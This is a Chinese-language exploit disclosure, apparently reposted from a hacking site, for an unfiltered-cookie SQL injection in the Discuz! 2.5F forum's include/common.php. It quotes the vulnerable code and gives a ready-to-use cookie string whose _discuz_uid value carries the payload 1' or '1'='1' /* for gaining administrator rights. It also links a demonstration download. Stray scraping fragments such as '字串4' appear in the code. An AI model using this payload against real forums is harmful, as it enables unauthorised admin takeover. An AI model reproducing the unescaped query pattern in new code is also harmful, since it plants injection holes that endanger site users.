漏洞提供：火狐技术联盟－我非我 [www.wrsky.com]

漏洞说明：
Discuz! 2.5F新版论坛 COOKIE未过滤 通过本地构造可获取管理员权限

具体描述：
文件include\common.php中87行

=================================code begin==========================================================
$discuz_uid = $_COOKIE[''_discuz_uid'']; //这里没有进行过滤检测
$discuz_pw = $_COOKIE[''_discuz_pw''];
$discuz_secques = $_COOKIE[''_discuz_secques''];

$newpm = $newpmexists = $sessionexists = $adminid = $adminglobal = 0;

$userinfo="m.uid AS discuz_uid, m.username AS discuz_user, m.password AS discuz_pw, m.adminid, m.groupid, m.email, m.timeoffset,m.tpp, m.ppp, m.credit, m.timeformat, m.dateformat, m.signature, m.invisible, m.lastvisit, m.lastpost, m.newpm, m.accessmasks, m.regdate";
//这里直接就放入mysql执行了..
if($sid) {
if($discuz_uid) {
$query = $db->query("SELECT s.sid, s.styleid, s.groupid=''6'' AS ipbanned, $userinfo FROM $table_sessions s, $table_members m WHERE m.uid=s.uid AND s.sid=''$sid'' AND CONCAT_WS(''.'',s.ip1,s.ip2,s.ip3,s.ip4)=''$onlineip'' AND m.uid=''$discuz_uid'' AND m.password=''$discuz_pw'' AND m.secques=''$discuz_secques''"); 字串4
} else {
$query = $db->query("SELECT sid, uid AS sessionuid, groupid, groupid=''6'' AS ipbanned, styleid FROM $table_sessions WHERE sid=''$sid'' AND CONCAT_WS(''.'',ip1,ip2,ip3,ip4)=''$onlineip''");
}
if($_DSESSION = $db->fetch_array($query)) {
$sessionexists = 1;
if(!empty($_DSESSION[''sessionuid''])) {
$query = $db->query("SELECT $userinfo FROM $table_members m WHERE uid=''$_DSESSION[sessionuid]''");
$_DSESSION = array_merge($_DSESSION, $db->fetch_array($query));
}
} else {
$query = $db->query("SELECT sid, groupid, groupid=''6'' AS ipbanned, styleid FROM $table_sessions WHERE sid=''$sid'' AND CONCAT_WS(''.'',ip1,ip2,ip3,ip4)=''$onlineip''");
if($_DSESSION = $db->fetch_array($query)) {
clearcookies();
$sessionexists = 1;
}
}
}
if(!$sessionexists) {

.......................................... 字串8

====================================code end==========================================================



本地cookie构造方式：

sid=dAgM7P; _cookietime=2592000; expand_menu=0__3; _discuz_uid=1'' or ''1''=''1'' /*; _discuz_pw=wofeiwo; _discuz_secques=hehe



漏洞演示动画下载：

http://down.juntuan.net/data/soft/778.html

文章来源地址:http://www.hackhome.com/html/wlcl/wlaq/2006/0610/26634.html